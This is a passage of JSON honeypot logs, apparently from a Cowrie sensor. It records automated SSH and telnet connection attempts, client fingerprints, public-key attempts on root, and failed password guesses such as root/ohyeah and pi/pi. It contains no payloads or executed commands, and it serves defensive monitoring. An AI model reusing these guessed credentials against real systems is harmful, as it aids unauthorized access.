ha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:11.188809Z","src_ip":"61.222.211.114","session":"215dda4fd53b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mahlon","message":"login attempt [root/mahlon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:12.064669Z","src_ip":"61.222.211.114","session":"215dda4fd53b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:13.279113Z","src_ip":"61.222.211.114","session":"215dda4fd53b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34416,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba32ce05e516","protocol":"ssh","message":"New connection: 47.86.95.62:34416 (10.17.0.5:22) [session: ba32ce05e516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:18.394872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:18.399569Z","src_ip":"47.86.95.62","session":"ba32ce05e516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.46.134.148","src_port":50152,"dst_ip":"10.17.0.5","dst_port":22,"session":"713c2a9eeae4","protocol":"ssh","message":"New connection: 198.46.134.148:50152 (10.17.0.5:22) [session: 713c2a9eeae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.415372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.420457Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.447468Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"aa:a1:98:6b:89:f5:88:2e:04:0d:ce:59:3d:be:76:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCPF5ytFfip6hhwdxBeLFW4Za5JFqKQMurxdxmX4++9f5CImHqarnnC/k25PUWVKzBJ6gxYahLFAyr2qTP3DVw7xYC/Q1dCezA2zqyBrHtbefsLEUL3C1Q+FVUYwHiLL8vFZK6TxYrxN/rvfkoULwkQMJqb4T1sFifwW06Zu6GQW8wHuU5fZeZ8WrAbfUdIOTxqKtaOppQtZ7bDe0e2r9im6lrZt1FK59wpHpzXFNy5X30sANFaL9fNRr23BsvBK0rWV8xXD4ML/+yxLEwyMMon77oQWeecuc6k+gao3XWON+DFXHCp5Z06iaHJPFxtvrElowj3kofp1sRli7NmDAd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint aa:a1:98:6b:89:f5:88:2e:04:0d:ce:59:3d:be:76:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.561823Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"aa:a1:98:6b:89:f5:88:2e:04:0d:ce:59:3d:be:76:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDCPF5ytFfip6hhwdxBeLFW4Za5JFqKQMurxdxmX4++9f5CImHqarnnC/k25PUWVKzBJ6gxYahLFAyr2qTP3DVw7xYC/Q1dCezA2zqyBrHtbefsLEUL3C1Q+FVUYwHiLL8vFZK6TxYrxN/rvfkoULwkQMJqb4T1sFifwW06Zu6GQW8wHuU5fZeZ8WrAbfUdIOTxqKtaOppQtZ7bDe0e2r9im6lrZt1FK59wpHpzXFNy5X30sANFaL9fNRr23BsvBK0rWV8xXD4ML/+yxLEwyMMon77oQWeecuc6k+gao3XWON+DFXHCp5Z06iaHJPFxtvrElowj3kofp1sRli7NmDAd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.566035Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:10:d2:e6:e7:4c:1b:f0:0d:c8:39:92:12:1a:96:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wC0FHgu3Agrd/z5YUneBfx+3lSJim2ECEj2F8BpG4y83HRDSNJCirta3utj6c/boQMnmBWk2jXqNxKx+CGXyT3raAA4DKJdVRiuGnPKa/Mws7S95lGL0OabtAnCTdE603Q/5HlQM3jLte0KghBay+EiWqEDCJTlygSRhWzEwUFFLoxcD6sUXjIARU+lEv1+d1qaOlF3vLxWUUfe4hQZRhTYOT+1RPY08tIUCQXJ+BmLiWqpY6ajURJ8zunNzTZ5TAoma98kvUlYZLGdoxgGwb+j90cfIBmy17CVlP2wD4gkzvdZmF4QqG5aeFjAbwR+/z6zVzq/HPPBEha/6jPRK3zcC+zzH2UXBaoZ7hjHnDy1d6DtZcuIwxuWGLIGkaaGnEQ8hVgT0ISRU26knkn3z0+p1fJFJfuaNKBYR7xH2SMxDFseYNVgRs/tzTTTQ7lJpWWrPDngo1VToEj6MzTqx2jNjZPyDsmSsfPQ7bKN9m+NwpYLleit0zGeCjM9CcLxuPCHndcmKQJRMmjszJLTQdI9zPHyuviHSrSCx/zuzHIH7Q+5TfLN1ymhxyHEM9iHVo7bwvPLcNvpGo8bOiQbguYAxhs+ipS69H1dp9fyRyTQdZxH5o4u4O7tqGsUqusIZjliuusP03gExKQ13r0oqn4rY+SqzjGq6dd2eQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:10:d2:e6:e7:4c:1b:f0:0d:c8:39:92:12:1a:96:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.596055Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:10:d2:e6:e7:4c:1b:f0:0d:c8:39:92:12:1a:96:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wC0FHgu3Agrd/z5YUneBfx+3lSJim2ECEj2F8BpG4y83HRDSNJCirta3utj6c/boQMnmBWk2jXqNxKx+CGXyT3raAA4DKJdVRiuGnPKa/Mws7S95lGL0OabtAnCTdE603Q/5HlQM3jLte0KghBay+EiWqEDCJTlygSRhWzEwUFFLoxcD6sUXjIARU+lEv1+d1qaOlF3vLxWUUfe4hQZRhTYOT+1RPY08tIUCQXJ+BmLiWqpY6ajURJ8zunNzTZ5TAoma98kvUlYZLGdoxgGwb+j90cfIBmy17CVlP2wD4gkzvdZmF4QqG5aeFjAbwR+/z6zVzq/HPPBEha/6jPRK3zcC+zzH2UXBaoZ7hjHnDy1d6DtZcuIwxuWGLIGkaaGnEQ8hVgT0ISRU26knkn3z0+p1fJFJfuaNKBYR7xH2SMxDFseYNVgRs/tzTTTQ7lJpWWrPDngo1VToEj6MzTqx2jNjZPyDsmSsfPQ7bKN9m+NwpYLleit0zGeCjM9CcLxuPCHndcmKQJRMmjszJLTQdI9zPHyuviHSrSCx/zuzHIH7Q+5TfLN1ymhxyHEM9iHVo7bwvPLcNvpGo8bOiQbguYAxhs+ipS69H1dp9fyRyTQdZxH5o4u4O7tqGsUqusIZjliuusP03gExKQ13r0oqn4rY+SqzjGq6dd2eQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.600280Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:b4:a5:85:30:66:29:a7:85:fd:48:0a:89:a2:68:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVZCRL2StdixgFryYJtIyBz3X0t5juGmUbogY3/FbSIZ2cu4rl0yjeSso1FJ4/wStiIXnYQikaradDN5siwZe+/8ciA7kO4p/7hn2RCMw7y6WQf6E5n5EktB+dMkWGS8v2uoCtwOMIvx3D1pdmJSVlCDYjCA+imnB4up1iAqCOahmSifqiiJyn0x9R5ZhoeskOv8AyqLJvDrJpkVY5dA3rmsOKcdJyhrP2tGP7RIZs4303qi/7GJqXC2OkqhEeHPQLlqQKOTbm8h1qZZIXIO5i+NYM9Ijx8P4Z4XnuT4lK9CWio/pqTWxWhPx5tEcHRDuBpUHNAmzpwTsp19cpAGPt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:b4:a5:85:30:66:29:a7:85:fd:48:0a:89:a2:68:3a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.628848Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:b4:a5:85:30:66:29:a7:85:fd:48:0a:89:a2:68:3a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVZCRL2StdixgFryYJtIyBz3X0t5juGmUbogY3/FbSIZ2cu4rl0yjeSso1FJ4/wStiIXnYQikaradDN5siwZe+/8ciA7kO4p/7hn2RCMw7y6WQf6E5n5EktB+dMkWGS8v2uoCtwOMIvx3D1pdmJSVlCDYjCA+imnB4up1iAqCOahmSifqiiJyn0x9R5ZhoeskOv8AyqLJvDrJpkVY5dA3rmsOKcdJyhrP2tGP7RIZs4303qi/7GJqXC2OkqhEeHPQLlqQKOTbm8h1qZZIXIO5i+NYM9Ijx8P4Z4XnuT4lK9CWio/pqTWxWhPx5tEcHRDuBpUHNAmzpwTsp19cpAGPt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.633468Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:29:e2:14:c0:5f:82:5f:02:88:3a:d7:91:8a:43:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMPHwLFJHKp+n+O9WfWxsAd+9ruLu+W5YzvifT6DLv6rP7IcFKsHIHczBawRLALPSj52hmmMx7kyjfEcz2WTqtA716820rJ35LozCVEeaWu9oq1ErBxaSWfbnzfc/aT/YkRDpy2mElZBYIWnHImLk+30xkmBDSIoO7yaTVI2nbGbWjPI0gDPLtOPbiU/b+aZ6AsSUMbk2dzRL+W5hu2sr/MroXktNOjqV7S5qlmBoTUHZdQulFXpFvT1IwkxBIjoFQQoTDvuXTs2fTSt8NClzOyRjRVwv51Yo5Md1YLPn17FweYzxqe8cA8uALMKMORjU/x6T2pPueoS7yKyKmM0Tt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0d:29:e2:14:c0:5f:82:5f:02:88:3a:d7:91:8a:43:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.663383Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:29:e2:14:c0:5f:82:5f:02:88:3a:d7:91:8a:43:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDMPHwLFJHKp+n+O9WfWxsAd+9ruLu+W5YzvifT6DLv6rP7IcFKsHIHczBawRLALPSj52hmmMx7kyjfEcz2WTqtA716820rJ35LozCVEeaWu9oq1ErBxaSWfbnzfc/aT/YkRDpy2mElZBYIWnHImLk+30xkmBDSIoO7yaTVI2nbGbWjPI0gDPLtOPbiU/b+aZ6AsSUMbk2dzRL+W5hu2sr/MroXktNOjqV7S5qlmBoTUHZdQulFXpFvT1IwkxBIjoFQQoTDvuXTs2fTSt8NClzOyRjRVwv51Yo5Md1YLPn17FweYzxqe8cA8uALMKMORjU/x6T2pPueoS7yKyKmM0Tt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.668614Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:da:07:36:00:a2:d9:53:26:f7:50:ae:88:fc:28:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhHpKeb/nf5VBodqVKi6/quJG162eWESN+/5gv0XiEfaaOGS3meS6iMMET5ILNS6b475RZX7XYajNfBFIEfIHKBGB537pE6KSmn1VaLL6zfIFpcblJXUhYC4B5urAi0F/+/ZP4Lj5GBAMhsjyjRKY20782h2hF/X0+RNrsfhCjXqSeQtBhIkvI7WU5pkC3N+USr+9YaqZRRGZ7Bi5Q7b/76BzpSwVgA/GW5UB06ByJPPVC9PvO+fe9p5hKA/zsHQC3zYsAJBDmCR4YTkqhYd34EeZeJvEt7yWUBjTABeLZvhAQ1kI7umhjkGPWrnEuK2i0G1Ma7F8OosVtTslwYivr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 48:da:07:36:00:a2:d9:53:26:f7:50:ae:88:fc:28:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.698588Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:da:07:36:00:a2:d9:53:26:f7:50:ae:88:fc:28:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhHpKeb/nf5VBodqVKi6/quJG162eWESN+/5gv0XiEfaaOGS3meS6iMMET5ILNS6b475RZX7XYajNfBFIEfIHKBGB537pE6KSmn1VaLL6zfIFpcblJXUhYC4B5urAi0F/+/ZP4Lj5GBAMhsjyjRKY20782h2hF/X0+RNrsfhCjXqSeQtBhIkvI7WU5pkC3N+USr+9YaqZRRGZ7Bi5Q7b/76BzpSwVgA/GW5UB06ByJPPVC9PvO+fe9p5hKA/zsHQC3zYsAJBDmCR4YTkqhYd34EeZeJvEt7yWUBjTABeLZvhAQ1kI7umhjkGPWrnEuK2i0G1Ma7F8OosVtTslwYivr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.703331Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:19.732206Z","src_ip":"198.46.134.148","session":"713c2a9eeae4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:20.431544Z","src_ip":"47.86.95.62","session":"ba32ce05e516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.12.41.6","src_port":53906,"dst_ip":"10.17.0.5","dst_port":22,"session":"797a9beaf01e","protocol":"ssh","message":"New connection: 20.12.41.6:53906 (10.17.0.5:22) [session: 797a9beaf01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:20.778244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:20.783543Z","src_ip":"20.12.41.6","session":"797a9beaf01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:20.798292Z","src_ip":"20.12.41.6","session":"797a9beaf01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ohyeah","message":"login attempt [root/ohyeah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:20.889461Z","src_ip":"20.12.41.6","session":"797a9beaf01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:21.907629Z","src_ip":"20.12.41.6","session":"797a9beaf01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49590,"dst_ip":"10.17.0.5","dst_port":22,"session":"a71c132f1098","protocol":"ssh","message":"New connection: 194.59.206.2:49590 (10.17.0.5:22) [session: a71c132f1098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:29.625616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:29.631070Z","src_ip":"194.59.206.2","session":"a71c132f1098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:29.717392Z","src_ip":"194.59.206.2","session":"a71c132f1098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:29.811798Z","src_ip":"194.59.206.2","session":"a71c132f1098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.10.71.32","src_port":44714,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c7186ec11d1","protocol":"telnet","message":"New connection: 123.10.71.32:44714 (10.17.0.5:23) [session: 9c7186ec11d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:30.136568Z"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:42.512273Z","src_ip":"47.86.95.62","session":"ba32ce05e516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.991289854049683,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:43.127735Z","src_ip":"123.10.71.32","session":"9c7186ec11d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":55794,"dst_ip":"159.203.135.109","dst_port":22,"session":"af1304c2814f","protocol":"ssh","message":"New connection: 31.59.89.180:55794 (159.203.135.109:22) [session: af1304c2814f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:58.939989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T17:13:58.944837Z","src_ip":"31.59.89.180","session":"af1304c2814f","protocol":"ssh"}
